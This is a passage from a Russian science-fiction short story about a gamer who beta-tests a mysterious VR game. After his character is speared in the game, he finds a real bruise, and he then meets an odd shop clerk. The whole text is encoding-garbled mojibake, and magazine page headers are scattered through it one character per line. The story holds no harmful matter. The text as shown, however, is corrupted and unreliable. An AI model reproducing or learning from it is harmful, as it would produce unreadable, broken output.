ïðèáåãàòü ê ðàçíûì õèòðîñòÿì, ââîäèòü íå ñîâñåì ïðàâäèâûå äàííûå.
Íåðåäêî Àíäðåé ïðåäñòàâëÿëñÿ æóðíàëèñòîì ðóññêîãî êîìïüþòåðíîãî
æóðíàëà èëè «ñëåãêà» çàâûøàë ñâîé èãðîâîé ñòàæ. Çàòî îí ìîã ïåðâûì
ïîïàñòü â íîâûå êîìïüþòåðíûå ìèðû, èññëåäîâàòü çåìëè, ãäå åùå íèê-
òî, êðîìå ðàçðàáîò÷èêîâ íå áûâàë. Íàâåðíîå, ÷òî-òî ïîäîáíîå îùóùàë
Êîëóìá, êîãäà âïåðâûå ñòóïèë íà àìåðèêàíñêèé ìàòåðèê.
Àíäðåé äàæå ïðèäóìàë ñåáå è òàêèì, êàê îí, îïðåäåëåíèå � îíëàéíå-
ðû. Òàê îí íàçûâàë ëþäåé, êîòîðûå ïðåäïî÷èòàþò âèðòóàëüíûå ìèðûÞ
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ÒÒååññòòååðð
«ÇÄÐÀÂÑÒÂÓÉÒÅ, ÀÍÄÐÅÉ, ÌÛ ÏÎËÓ×ÈËÈ ÂÀØÓ ÇÀßÂÊÓ È ÎÇÍÀÊÎÌÈËÈÑÜ Ñ ÎÑÒÀÂËÅÍÍÎÉ ÂÀÌÈ ÀÍÊÅ-
ÒÎÉ. Ñ ÐÀÄÎÑÒÜÞ ÑÎÎÁÙÀÅÌ ÂÀÌ, ×ÒÎ ÌÅÇÀ ÂÑÒÓÏÈËÀ Â ÑÒÀÄÈÞ ÁÅÒÀ-ÒÅÑÒÈÐÎÂÀÍÈß È ÂÛ ÑÒÀËÈ ÎÄ-
ÍÈÌ ÈÇ 20 ÂÛÁÐÀÍÍÛÕ ÒÅÑÒÅÐÎÂ, ÊÎÒÎÐÛÅ ÏÐÈÃËÀØÀÞÒÑß ÏÅÐÂÛÌÈ ÈÑÏÛÒÀÒÜ ÍÀ ÑÅÁÅ ÂÎÇÌÎÆ-
ÍÎÑÒÈ ÈÃÐÛ. 13 ÑÅÍÒßÁÐß Â 11:00 ÌÛ ÆÄÅÌ ÂÀÑ Â ÍÀØÅÌ ÎÔÈÑÅ, ÀÄÐÅÑ ÊÎÒÎÐÎÃÎ ÂÛ ÍÀÉÄÅÒÅ ÍÈÆÅ.
ÒÀÌ ÂÛ ÓÇÍÀÅÒÅ ÂÑÅ ÏÎÄÐÎÁÍÅÅ. ÑÏÀÑÈÁÎ ÇÀ ÒÎ, ×ÒÎ ÑÎÃËÀÑÈËÈÑÜ ÏÎÌÎ×Ü ÍÀÌ ÑÄÅËÀÒÜ ÌÅÇÓ
ËÓ×ØÅ. Ñ ÓÂÀÆÅÍÈÅÌ, ËÞÄÌÈËÀ ×ÈÑÒßÊÎÂÀ. ÊÎÌÏÀÍÈß «ÂÐ ÈÍÑÀÉÄ» | mindw0rk (mindw0rk@gameland.ru)

×àñòü ïåðâàÿ

Àâòîð èëëþñòðàöèé Èâàí Âåëè÷êî (vel@shuka.ru)



ðåàëüíûì è ïðàêòè÷åñêè íå îáùàþòñÿ ñî Âñåëåííîé ïî òó ñòîðîíó êâàð-
òèðû. Ïðàâäà, ðàç â äâå íåäåëè îíè ñ Æîðèêîì âñòðå÷àëèñü â îäíîé èç
ìîñêîâñêèõ êàôåøåê, ïèëè ïèâî è áîëòàëè î ñâîåì. ×àòèòüñÿ ïî àñüêå
èëè â îêîøêå îíëàéíîâûõ èãð áûëî íàìíîãî ïðîùå è ïðèâû÷íåå, íî ðå-
àëüíûå âñòðå÷è ïðîõîäèëè íå äëÿ íåïîñðåäñòâåííîãî îáùåíèÿ. Àíäðåé
áû íàçâàë ýòî òðàäèöèåé, íî ÷óâñòâîâàë, ÷òî ýòî äëÿ òîãî, ÷òîáû íå îêà-
çàòüñÿ ñîâñåì îòîðâàííûìè îò ðåàëüíîãî ìèðà.
×àñû ïîêàçûâàëè íà÷àëî îäèííàäöàòîãî. Ïîðà áûëî åõàòü ïî óêàçàííî-
ìó â ïèñüìå àäðåñó.

* * *
Àíäðåé íèêîãäà ðàíüøå íå áûë â ýòîì ðàéîíå. Îò ìåòðî ïðèøëîñü åõàòü
íà ìàðøðóòêå 7 ìèíóò, ïîòîì åùå ìèíóò 10 äîáèðàòüñÿ ïåøêîì. Äîìà
êðóãîì áûëè ñòàðåíüêèå, åùå Ñòàëèíñêèõ âðåìåí. Âî äâîðèêàõ ñèäåëè
ñòàðóøêè è î ÷åì-òî îæèâëåííî îáùàëèñü. Íèêòî èç òåõ, ó êîãî îí ñïðî-
ñèë î ìåñòîíàõîæäåíèè «ÂÐ Èíñàéä», íè÷åãî îá ýòîì íå çíàë. Àíäðåé
óæå íà÷àë ïîäóìûâàòü, íå ÿâëÿëîñü ëè ïèñüìî äåéñòâèòåëüíî øóòêîé.
Èëè «ìåðòâîé ïåòëåé». Îí êàê-òî ñëûøàë èñòîðèþ î òîì, êàê ìàòü ïîëó-
÷èëà ýëåêòðîííîå ñîîáùåíèå îò ñâîåãî ïîãèáøåãî íåñêîëüêî ìåñÿöåâ
íàçàä ñûíà. Ïðîáûëà â èñòåðèêå òðè äíÿ, à ïîòîì îêàçàëîñü, ÷òî èç-çà
êàêîé-òî îøèáêè ïî÷òîâîãî ñåðâåðà, ìåññàãà çàòåðÿëàñü è ÷åðåç ïîëãî-
äà âñïëûëà ñàìà ñîáîé.
Çäàíèå âûíûðíóëî èç ñòàðûõ äâîðèêîâ ñîâåðøåííî íåîæèäàííî. Ñîâ-
ðåìåííîå, îêðóæåííîå íåâûñîêèì áåëûì çàáîðîì, ÷èñòîå è òàê íåïîõî-
æåå íà ñîñåäíèå ñåðûå ïÿòèýòàæêè. Ïåðåä âõîäîì âèäíåëñÿ ùèò: «×àñò-
íàÿ ñîáñòâåííîñòü. Âõîä òîëüêî ïî ïðîïóñêàì». Ðÿäîì òàêæå ñòîÿëà
ñòåêëÿííàÿ áóäêà, â êîòîðîé ìîæíî áûëî óâèäåòü ñèëóýò îõðàííèêà.
Íîìåð äîìà, îáîçíà÷åííûé íà çàáîðå, íå îñòàâëÿë ñîìíåíèé � èìåííî
çäåñü íàõîäèëñÿ îôèñ «ÂÐÈ».
� Ñêîëüêî æå äåíåã ïîíàäîáèëîñü, ÷òîáû îòãðîõàòü òàêîé êîìïëåêñ, �
ïîäóìàë Àíäðåé. Îáû÷íî ìîëîäûå ñîôòâàðíûå êîìïàíèè, êîòîðûå òîëü-
êî íà÷èíàþò îñâàèâàòüñÿ â ìèðå êîìïüþòåðíûõ èãð, äîâîëüñòâóþòñÿ
àðåíäîé íåäîðîãîãî ïîìåùåíèÿ. À òóò ÷óòü ëè íå ãîëëèâóäñêàÿ ñòóäèÿ.
Àíäðåé íàïðàâèëñÿ ê áóäêå.
�  Âû ê êîìó, ìîëîäîé ÷åëîâåê? � ñïðîñèë óñàòûé îõðàííèê, íà áåéäæå
êîòîðîãî êðàñîâàëîñü ñëîâî Security. Àíäðåé ïðåäñòàâèëñÿ, è îõðàííèê
ïî ðàöèè ñîîáùèë î åãî ïðèõîäå. Âñòðåòèòü ãîñòÿ âûøëà ìîëîäàÿ æåí-
ùèíà â ñòðîãîì áåæåâîì êîñòþìå.
�  Çäðàâñòâóéòå, Àíäðåé. Ñïàñèáî, ÷òî ïðèøëè. ß � Ëþäìèëà, è èìåí-
íî îò ìåíÿ âû ïîëó÷èëè ïèñüìî. Ïðîøó çà ìíîé.
Âíóòðè çäàíèå áûëî åùå ðîñêîøíåå. Íåò, òàì íå áûëî êàðòèí Ìîíå íà
ñòåíàõ è çîëîòûõ ñòàòóé. Áîëåå òîãî, âî âõîäíîì çàëå è êîðèäîðàõ íå
áûëî íè÷åãî ëèøíåãî. Íî îòäåëêà, àðõèòåêòóðà, êîâðû � âñå ãîâîðèëî
î òîì, ÷òî ðàáîòà áûëà ïðîäåëàíà áîëüøàÿ è «âëåòåëà» â êîïåå÷êó. Ïî-
êà îíè øëè ïî êîðèäîðó, Ëþäìèëà ðàññêàçûâàëà î êîìïàíèè.

�  ß óäèâèëñÿ, êîãäà ïîëó÷èë ïèñüìî, äóìàë, ÷òî èãðó óæå äàâíî ïðåê-
ðàòèëè äåëàòü, � ïðèçíàëñÿ Àíäðåé.
� Ìû íå òîëüêî íå ïðåêðàòèëè åå äåëàòü. Â ïîñëåäíèå ïàðó ëåò ðàçðà-
áîòêè âåëèñü â óñèëåííîì ðåæèìå. Ðåøåíèå íå ïóáëèêîâàòü èíôîðìà-
öèþ äî âûïóñêà èãðû ïðèíÿë íàø äèðåêòîð. Äåëî â òîì, ÷òî Ìåçà � íå
ïðîñòàÿ èãðà. Ýòî ðàçâëå÷åíèå íîâîãî ïîêîëåíèÿ, ìû èñïîëüçîâàëè ïðè
åå ñîçäàíèè ñîâåðøåííî íîâûå òåõíîëîãèè è ïîäõîä. Íàì íå õîòåëîñü,
÷òîáû êîíêóðåíòû óçíàëè îáî âñåì çàðàíåå, ê òîìó æå ýôôåêò îò èãðû,
åñëè èãðîêè íå áóäóò ïîäãîòîâëåíû, îêàæåòñÿ íàìíîãî ñèëüíåå. Ïîñëå
òîãî êàê èãðà ïðîéäåò ñòàäèþ áåòà-òåñòèðîâàíèÿ, ìû îáÿçàòåëüíî âûëî-
æèì èíôîðìàöèþ â ñâîáîäíûé äîñòóï.
�  À êîãäà îíà áóäåò îêîí÷àòåëüíà ãîòîâà?
� Ìîæíî ñêàçàòü, îíà ãîòîâà óæå ñåé÷àñ. Íî ìû äîëæíû óáåäèòüñÿ, ÷òî
âñå â ïîðÿäêå è èãðîêè ïîëó÷àþò îò íåå èìåííî òî, ÷òî õîòÿò. Èìåííî
äëÿ ýòîãî ìû âàñ è ïðèãëàñèëè, � óëûáíóëàñü Ëþäìèëà.
� À îñòàëüíûå òåñòåðû óæå ïðèøëè?
� Äà, áîëüøèíñòâî óæå çäåñü è æäóò íàñ â ïðåçåíòàöèîííîì çàëå.
Àíäðåé ïîïûòàëñÿ óçíàòü îá èãðå ïîäðîáíåå, íî Ëþäìèëà îòäåëàëàñü
îáùèìè ôðàçàìè, óâåðÿÿ, ÷òî îí ñêîðî âñå óâèäèò ñàì.
� Íó âîò ìû è ïðèøëè, � ñîîáùèëà æåíùèíà, îòêðûâàÿ îáèòóþ êî-
æåé äâåðü.
Ïðåçåíòàöèîííûé çàë ïðåäñòàâëÿë ñîáîé ïðîñòîðíîå ïîìåùåíèå, ãäå
ãëàâíûì óêðàøåíèåì áûë îãðîìíûé ïðîåêòîð. Ïåðåä íèì ñòîÿëè ðÿäû
ñòóëüåâ, çà êîòîðûìè ñèäåëè ðåáÿòà â âîçðàñòå îò 15 äî 25. À ïåðåä ïðî-
åêòîðîì íàõîäèëñÿ íåâûñîêèé ìóæ÷èíà ëåò 35 â ëåãêîì áåæåâîì ñâèòå-
ðå è òåìíûõ øòàíàõ.
� Ýòî Îëåã Íèêîëàåâè÷, îí ðóêîâîäèò îòäåëîì èññëåäîâàíèé, � òèõî
ïðåäñòàâèëà Ëþäìèëà.
Æåñòîì ïðèãëàñèâ Àíäðåÿ ñàäèòüñÿ, Îëåã Íèêîëàåâè÷ îáúÿâèë:
� Íó ÷òî æ, áîëüøå íèêîãî æäàòü íå áóäåì. Õî÷ó âàñ âñåõ ïîáëàãî-
äàðèòü çà òî, ÷òî ñîáðàëèñü çäåñü. Ìû ðàáîòàëè íàä èãðîé Ìåçà áî-
ëåå 7 ëåò è ñêîðî ïðåäñòàâèì åå øèðîêîé ïóáëèêå. Íî ñïåðâà õîòèì
óñëûøàòü âàøè âïå÷àòëåíèÿ. Âû îêóíåòåñü â ìèð, êîòîðîìó ïî ðåà-
ëèñòè÷íîñòè íåò ðàâíûõ ñðåäè ñîâðåìåííûõ êîìïüþòåðíûõ èãð. Äëÿ
íåêîòîðûõ Ìåçà ïîêàæåòñÿ ðåàëüíåå îêðóæàþùåãî âàñ ìèðà, è íèê-
òî íå ìîæåò ïðåäñêàçàòü, ÷åì ýòî äëÿ âàñ îáåðíåòñÿ. Äîêóìåíòàëü-
íûé ôèëüì, êîòîðûé ìû ñíÿëè äëÿ âàñ, ïîçíàêîìèò ñ èñòîðèåé ñîç-
äàíèÿ Ìåçû è íàøåé êîìàíäîé.
Îðàòîð îòîøåë, è ñðàçó ïîñëå ýòîãî â çàëå ïîãàñ ñâåò, à íà ïðîåêòîðå
âñïûõíóëî èçîáðàæåíèå. Ãðîìêèé ãîëîñ äèêòîðà íà÷àë ðàññêàçûâàòü î
òîì, êàêèìè áûëè èãðû â êîíöå 90-õ, êàê ìîëîäîìó áèçíåñìåíó ïðèøëà
èäåÿ Ìåçû è êàê îí îñíîâàë ÂÐÈ, î íîâûõ òåõíîëîãèÿõ, ïðèìåíÿåìûõ â
èãðå, è òîì, êàê äîñòèãàåòñÿ îùóùåíèå ðåàëüíîñòè ïðîèñõîäÿùåãî.
Ôèëüì áûë î÷åíü èíòåðåñíûì è ïîçíàâàòåëüíûì, ïîñëå íåãî óæå íå òåð-
ïåëîñü âçãëÿíóòü íà äåòèùå êîìïàíèè. [X

À
Ê

Å
Ð

1
1

 [
8

3
] 

0
5

 >
Ê

Ð
Å

À
Ò

È
Ô

Ô
1

3
1

]



[X
À

Ê
Å

Ð
1

1
 [

8
3

] 
0

5
 >

Ê
Ð

Å
À

Ò
È

Ô
Ô

1
3

2
]

Êîãäà îí çàêîí÷èëñÿ è çàæåãñÿ ñâåò, Îëåã Íèêîëàåâè÷ ðàçäàë âñåì ðå-
áÿòàì áóìàæíûå ëèñòêè, çàïîëíåííûå ïå÷àòíûì òåêñòîì, è ðó÷êè.
� Ýòî äîãîâîð, â êîòîðîì ãîâîðèòñÿ, ÷òî ìû íàíèìàåì âàñ íà ðàáîòó â
êà÷åñòâå òåñòåðà èãðû Ìåçà. Çäåñü îáúÿñíÿþòñÿ âàøè çàäà÷è è óñëîâèÿ
ðàáîòû, à òàêæå óêàçàíà çàðàáîòíàÿ ïëàòà. Îçíàêîìüòåñü, ïîæàëóéñòà.
Àíäðåé èçó÷èë ëèñòîê. Â äâóõ ñëîâàõ åãî çàäà÷è ìîæíî áûëî âûðàçèòü
òàê: íóæíî èãðàòü è ðàññêàçûâàòü ðàçðàáîò÷èêàì î ñâîèõ âïå÷àòëåíèÿõ.
Äåíüãè ïëàòèëè êàæäóþ íåäåëþ � 200$, ÷òî äëÿ òàêîé ðàáîòû áûëî íå-
âåðîÿòíî ùåäðî. Êîíå÷íî, ñòðîãî çàïðåùàëîñü ïåðåäàâàòü íà ñòîðîíó
ëþáóþ èíôîðìàöèþ, ñâÿçàííóþ ñ äåÿòåëüíîñòüþ êîìïàíèè. Íåìíîãî
ñìóùàëè îòäåëüíûå ïóíêòû, íî Àíäðåþ îíè ïîêàçàëèñü ïðè÷óäîé ñîñòà-
âèòåëÿ, òàê ÷òî îí íå îáðàòèë íà íèõ áîëüøîãî âíèìàíèÿ.
� À êîãäà ìîæíî áóäåò ïðèñòóïèòü ê ðàáîòå? � ñïðîñèë ïàðíèøêà ñ íå-
ïîñëóøíîé ðûæåé øåâåëþðîé.
� Ñðàçó ïîñëå òîãî, êàê ïîäïèøåòå ýòîò äîêóìåíò. Åñëè õîòèòå îòêàçàòüñÿ
� ñäåëàéòå ýòî ñåé÷àñ. Ïîñëå ïîäïèñàíèÿ äîãîâîðà îáðàòíîé äîðîãè íåò.
Àíäðåé âçÿë ðó÷êó è îñòàâèë âíèçó ñâîé àâòîãðàô. Òî æå ñäåëàëè âñå
îñòàëüíûå ðåáÿòà. Êàæäûé áûë çàèíòðèãîâàí è ñ íåòåðïåíèåì æäàë ïîã-
ðóæåíèÿ â íîâûé ìèð.
� Íó à òåïåðü ïðîéäåìòå çà ìíîé. Â ñîñåäíåé êîìíàòå ìû ïðèãîòîâèëè
äëÿ âàñ, êàê òåïåðü óæå íàøèõ âíåøòàòíûõ ñîòðóäíèêîâ, íåáîëüøîé
ôóðøåò. Òàì æå âû ïîëó÷èòå êîðîáêè ñ èãðîé.

* * *
Àíäðåé ðàçóëñÿ, «ôóòáîëüíóë» êðîññîâêè ïîä øêàô è, ñäèðàÿ íà õîäó ñ
ïàêåòà áóìàãó, ïðîøåë ê ñâîåìó êîìïüþòåðó. Âíóòðè ëåæàëè DVD-øíèê
è î÷êè âèðòóàëüíîé ðåàëüíîñòè. DVD-äèñê áûë ñàìûì îáû÷íûì, áåç êðà-
ñî÷íûõ øòàìïîâàííûõ ðèñóíêîâ è ýìáëåì. Ïðîñòî áîëâàíêà ñ ïîìåòêîé
«äëÿ áåòà-òåñòåðà». Ïîäóìàòü òîëüêî, âíóòðè ýòîé àëþìèíèåâîé æåñòÿí-
êè ïîìåùàëñÿ öåëûé ìèð. Î÷êè îêàçàëèñü ëåãêèìè è èçÿùíûìè � íè÷å-
ãî îáùåãî ñ òåìè ãðîìîçäêèìè øëåìàìè, êîòîðûå èñïîëüçîâàëè 20 ëåò
íàçàä. Íà ïðàâîì îáîäêå çíà÷èëàñü êðîõîòíàÿ ïîäïèñü: «VRI». Êàê åìó
îáúÿñíèëè, î÷êè áûëè ñîáñòâåííîé ðàçðàáîòêîé êîìïàíèè, è áóäóò ïîñ-
òàâëÿòüñÿ âìåñòå ñ DVD-èãðîé. Íóæíî áûëî òîëüêî óñòàíîâèòü äëÿ íèõ
äðàéâåðà, è ìîæíî íà÷èíàòü èãðàòü. Ïðîöåññ èíñòàëëÿöèè áûë ñòàíäàðò-
íûì è ìíîãî âðåìåíè íå çàíÿë. Êîãäà âñå çàêîí÷èëîñü, Àíäðåé ïîóäîá-
íåå óñåëñÿ â ñâîå ñòàðåíüêîå êðåñëî, íàäåë î÷êè è çàïóñòèë çàãðóç÷èê.
Íå áûëî íè ìåíþ, íè çàñòàâîê � íè÷åãî. Òîëüêî ðóèíû êàêîé-òî äðåâ-
íåé êðåïîñòè, ïîñðåäè êîòîðûõ îí íàõîäèëñÿ, ñ óäèâëåíèåì îãëÿäûâà-
ÿñü ïî ñòîðîíàì. Ïðîðûâ, êîòîðûé ñäåëàëè ïàðíè èç «ÂÐÈ», îêàçàëñÿ
êîëîññàëüíûì. Âñå: íåáî, äåðåâüÿ, ðàçðóøåííûå êàìíè, îëåíåíîê, ñ ëþ-
áîïûòñòâîì ãëÿäÿùèé íà íåãî, � ïîðàæàëî ðåàëèñòè÷íîñòüþ. Îí ïîøà-
ðèë ïàëüöàìè ïî êëàâèàòóðå, ïûòàÿñü îòûñêàòü óïðàâëåíèå. Ðàçðàáîò-
÷èêè íå ñòàëè ìóäðèòü è îñòàâèëè ñòàíäàðòíóþ WASD-ðàñêëàäêó. Òîëü-
êî âîò íåïîíÿòíî, êåì åìó äîâîäèëîñü èãðàòü. Àíäðåé ïðèâûê, ÷òî â èã-

ðàõ òàêîãî ðîäà â íà÷àëå íóæíî âûáèðàòü ñåáå ïåðñîíàæà, ôîðìèðî-
âàòü åìó âíåøíîñòü, èìÿ è ïðî÷èå àòðèáóòû. Çäåñü îí ïðîñòî áûë ñîáîé.
Íåâäàëåêå âèäíåëàñü ïðîòîïòàííàÿ äîðîãà. Âûéäÿ íà íåå, Àíäðåé çàìå-
òèë óêàçàòåëü. Ñòðåëêà íàïðàâî óêàçûâàëà íà «Õîéëó», íàëåâî � â êà-
êîé-òî «×èêèçàí». Íàçâàíèÿ íè÷åãî åìó íå ãîâîðèëè, ïîýòîìó îí âûáðàë
íàóãàä ïðàâóþ ñòîðîíó è ïîáðåë ïî äîðîãå, íàäåÿñü âñòðåòèòü êàêèõ-íè-
áóäü ðàçóìíûõ ñóùåñòâ.
Â êîìïàíèè åìó íè÷åãî íå ñêàçàëè î öåëÿõ èãðû, îá îáèòàòåëÿõ è çàêî-
íàõ ìèðà Ìåçû. Åäèíñòâåííîå, ÷òî îí óçíàë, � ýòîò ìèð îïàñåí. È åñëè
òâîåãî ãåðîÿ â íåì óáüþò, ñëåäóþùèå 24 ÷àñà òû íå ñìîæåøü çàéòè â
ìèð. Íàâåðíîå, ýòî îãðàíè÷åíèå ââåëè, ÷òîáû èãðîêè áûëè îñòîðîæíåå
è öåíèëè æèçíü âíóòðè. Âïðî÷åì, Àíäðåé íå ñîìíåâàëñÿ, ÷òî îïûò, ïî-
ëó÷åííûé â MMORPG è â äðóãèõ îíëàéíîâûõ ìèðàõ, ïîìîæåò åìó èçáå-
æàòü ëþáûå ïðîáëåìû.
×åðåç êàêîå-òî âðåìÿ ïåøåé ïðîãóëêè, îí óâèäåë âïåðåäè îáëàêî ïûëè.
Àíäðåé ïîïûòàëñÿ ðàçãëÿäåòü ÷òî-òî, íî ñìîã ýòî ñäåëàòü òîëüêî òîãäà,
êîãäà èñòî÷íèê ïûëè ïðèáëèçèëñÿ. Ïðÿìî íà íåãî âî âåñü îïîð ñêàêàë
ðûöàðü, îáëà÷åííûé â ëàòû. Òåïåðü Àíäðåé, ïî êðàéíåé ìåðå, çíàë, ÷òî
ïîïàë â êàêîé-òî ñðåäíåâåêîâûé ìèð. Îí ïîïûòàëñÿ ñîîáðàçèòü, ÷òî
ñêàçàòü âñàäíèêó. Â ãîëîâå òåñíèëîñü òàê ìíîãî âîïðîñîâ, íî îí íå áûë
äàæå óâåðåí, ÷òî òîò çàõî÷åò ÷òî-òî îáúÿñíÿòü. Èëè, âîîáùå, ïîéìåò åãî.
Òåì âðåìåíåì ðûöàðü ïðèáëèçèëñÿ ñîâñåì áëèçêî. Àíäðåé ñäâèíóëñÿ ê
êðàþ äîðîãè è æåñòîì ïîïðîñèë îñòàíîâèòüñÿ, íî âñàäíèê è íå äóìàë çà-
ìåäëÿòü õîä. À êîãäà îíè ïîðàâíÿëèñü, Àíäðåé çàìåòèë, ÷òî â åãî ðóêàõ
ïîÿâèëîñü êîïüå, íàïðàâëåííîå ïðÿìî íà íåãî.
À çàòåì íàñòóïèëà òüìà.
Àíäðåé ñîðâàë ñ ñåáÿ î÷êè è âçãëÿíóë íà ýêðàí. Íè âñàäíèêà, íè äîðîãè
íà íåì íå áûëî � òîëüêî ïðèâû÷íûé ðàáî÷èé ñòîë. Èãðà çàêðûëàñü è,
ñêîëüêî Àíäðåé íè êëàöàë íà èêîíêó, íå äóìàëà çàïóñêàòüñÿ. Äóðàöêîå
îãðàíè÷åíèå! Ìîãëè áû ñíÿòü äëÿ áåòà-òåñòåðîâ. Âìåñòî òîãî ÷òîáû äå-
ëàòü ñâîþ ðàáîòó, ïðèõîäèëîñü òóïî æäàòü. Äà è êàê îí ìîã òàê ïîäñòà-
âèòüñÿ. Ðåáåíîê áû ïîíÿë, ÷òî îò íåñóùåãîñÿ íà òåáÿ âñàäíèêà ñ êîïüåì
íàïåðåâåñ, íè÷åãî õîðîøåãî æäàòü íå ñòîèò. Íó íè÷åãî, â ñëåäóþùèé
ðàç îí áóäåò îñòîðîæíåå.
Âíåçàïíî Àíäðåé ïî÷óâñòâîâàë óñèëèâàþùååñÿ ææåíèå â îáëàñòè ãðó-
äè. Îí ïî÷åñàë ýòî ìåñòî, íî ææåíèå òîëüêî óñèëèëîñü. Òîãäà îí ïðè-
ïîäíÿë ôóòáîëêó�
Êàê ðàç íà òîì ìåñòå, êóäà äîëæíà áûëà óãîäèòü ïèêà ðûöàðÿ, áûë áîëü-
øîé ôèîëåòîâûé ñèíÿê.

* * *
Âåñü äåíü Àíäðåé ïðîâåë, ìàÿñü îò äîñàäû, ÷òî íå ìîæåò âåðíóòüñÿ â
ìèð è ðàçîáðàòüñÿ ñ îáèä÷èêîì. Îí äàæå íàïèñàë ïèñüìî âî «ÂÐÈ»,
ïîèíòåðåñîâàâøèñü, ìîæíî ëè êàê-íèáóäü ñíÿòü îãðàíè÷åíèå. Íî äî
âå÷åðà åìó íèêòî òàê è íå îòâåòèë. Êîãäà ñòåìíåëî, Àíäðåé ðåøèë ñõî-
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äèòü íà óëèöó â êîè-òî âåêè ïðîãóëÿòüñÿ, çàîäíî êóïèòü ïðîäóêòîâ.
Ææåíèå â ãðóäè ïðîøëî, ÷åãî íå ñêàæåøü î ñèíÿêå. Àíäðåé áûë äîñòà-
òî÷íî çäðàâîìûñëÿùèì ÷åëîâåêîì, ÷òîáû íå ïðè÷èñëÿòü ýòî ê ìèñòè-
êå. Âåðîÿòíî, âî âðåìÿ èãðû ñëèøêîì óâëåêñÿ è íå çàìåòèë, êàê óäà-
ðèëñÿ îá óãîë ñòîëà. Îí íå çíàë, êàê ìîã ñðàçó íå çàìåòèòü áîëè, íî
äðóãîãî îáúÿñíåíèÿ íå áûëî. Íå ìîã æå ïåðñîíàæ êîìïüþòåðíîé èãðû
ðàíèòü åãî íà ñàìîì äåëå?
Ñâåæèé óëè÷íûé âîçäóõ ïðîâåòðèë ãîëîâó, è äóìàòü ñòàëî ëåã÷å.
Ìîñêâà ïîãðóæàëàñü â îãíè. Äàæå çäåñü, âäàëåêå îò öåíòðà, ïîâñþ-
äó ãîðåëè ÿðêèå âèòðèíû è âûâåñêè. Ëþäè ñïåøèëè äîìîé ïîñëå ðà-
áî÷åãî äíÿ è, ãëÿäÿ íà íèõ, Àíäðåé ïîäóìàë, íàñêîëüêî ñèëüíî èõ
æèçíü îòëè÷àåòñÿ îò åãî ñîáñòâåííîé. Âðÿä ëè îíè ìîãëè ïîíÿòü
åãî. Ãëÿäÿ íà íåãî, ñèäÿùåãî ìåñÿöàìè çà ìîíèòîðîì è íè ñ êåì íå
ðàçãîâàðèâàþùåãî, îíè áû ïîñ÷èòàëè, ÷òî îí ãëóáîêî íåñ÷àñòåí è
îäèíîê. Íî ýòî áûëî íå òàê. Àíäðåé æèë íå â êâàðòèðå, íå â Ìîñê-
âå, îí æèë â îíëàéíîâûõ ìèðàõ, êîòîðûå áûëè åìó íàìíîãî èíòå-
ðåñíåå. È êîãäà îí âûõîäèë íà óëèöó, òî îùóùàë ñåáÿ â ÷óæîé ðå-
àëüíîñòè. Â ìèð, ïðèíîñÿùèé òîëüêî äèñêîìôîðò è æåëàíèå ïîñêî-
ðåå âûáðàòüñÿ èç íåãî.
Ðàçìûøëÿÿ îá ýòîì, Àíäðåé âíåçàïíî ïî÷óâñòâîâàë íà ñåáå ÷åé-òî
ïðîíçèòåëüíûé âçãëÿä. Îí ñëûøàë î òàêîì, êîãäà òû íå âèäèøü, íî
âñåì òåëîì îùóùàåøü, êàê êòî-òî ñìîòðèò íà òåáÿ. Íå ïðîñòî òàê. Íàá-
ëþäàåò. Âûæèäàåò. Ñàì îí ýòîãî ðàíüøå íèêîãäà íå èñïûòûâàë, íî ñàì
ñîáîé äèñêîìôîðò âîçíèêíóòü íå ìîã. Îáåðíóâøèñü, Àíäðåé îñìîòðåë
âñå âîêðóã. Íè÷åãî ïîäîçðèòåëüíîãî. Îáû÷íûå ëþäè, ïðîõîäÿùèå ìè-
ìî ïî ñâîèì äåëàì, ðàçâå ÷òî ìåëüêîì îáðàòèâøèå âíèìàíèå íà îñòà-
íîâèâøåãîñÿ ïîñðåäè óëèöû ïàðíÿ.
Àíäðåé ïîøåë äàëüøå è, äîéäÿ äî êîíöà ïåðåóëêà, çàøåë â ïðîäóêòî-
âûé ìàãàçèí. Íî è çäåñü òðåâîæíîå ÷óâñòâî íå ïîêèäàëî åãî.
� Áàòîí «Íàðåçíîãî», êîëó, êèëîãðàììîâóþ ïà÷êó ïåëüìåíåé «Êîëïè-
íñêèå» è 2 ïèööû «Äîêà», � îáðàòèëñÿ îí ê íîâåíüêîé ïðîäàâùèöå, êî-
òîðóþ çäåñü ðàíüøå íå âèäåë.
Äåâèöà óñìåõíóëàñü è ïðèíÿëàñü äîñòàâàòü ïðîäóêòû. ×òî-òî â íåé êàçà-
ëîñü íåïðàâèëüíûì, íî ÷òî èìåííî, Àíäðåé íå çíàë. Ïðîñòî ÷óâñòâîâàë.
� 236 ðóáëåé 70 êîïååê, � ñîîáùèëà ïðîäàâùèöà.
� Àíäðåé ïîëîæèë ïðîäóêòû â ñóìêó è, ïðîâîæàåìûé åå óñìåõàþùèì-
ñÿ âçãëÿäîì, âûøåë èç ìàãàçèíà.
×åðåç 20 øàãîâ îí ïîíÿë â ÷åì äåëî. Îäåæäà! Îíà áûëà îäåòà íå êàê
ïðîäàâùèöà. È åå áåæåâûé êîñòþì îí óæå ãäå-òî âèäåë. È òóò æå
âñïîìíèë ãäå. Ëþäìèëà! Ýòî, êîíå÷íî, ìîãëî áûòü ñîâïàäåíèåì, ìàëî
ëè æåíùèí â Ìîñêâå õîäÿò â òàêîì êîñòþìå. Íî ïî÷åìó ïðîäàâùèöà
ñòàëà áû åãî íàäåâàòü? Ýòî êàçàëîñü äî òîãî íåëåïûì, ÷òî Àíäðåé ïî-
âåðíóëñÿ íàçàä è, ñàì íå ïîíèìàÿ çà÷åì, âåðíóëñÿ â ìàãàçèí. Âìåñòî
òîé äåâèöû çà ïðèëàâêîì ñòîÿëà äàâíî çíàêîìàÿ òåòåíüêà â îáû÷íîé
ðàáî÷åé îäåæäå ñ ôàðòóêîì.

� Ñêàæèòå, à ãäå ïðîäàâùèöà, êîòîðàÿ îòïóñêàëà 5 ìèíóò íàçàä?
� 5 ìèíóò, êàê è 5 ÷àñîâ íàçàä, îòïóñêàëà òîëüêî ÿ.
� Íî ÿ òîëüêî ÷òî ïîêóïàë ó íåå ïðîäóêòû.
� Âû, ìîëîäîé ÷åëîâåê, íàâåðíîå, îøèáëèñü ìàãàçèíîì.
Ñáèòûé ñ òîëêó Àíäðåé, âîçâðàùàëñÿ äîìîé. Îøèáèòüñÿ îí, êîíå÷-
íî, íå ìîã. Òàê ÷òî îñòàâàëñÿ òîëüêî îäèí âàðèàíò � òåòêà åìó âðà-
ëà. Íî çà÷åì?
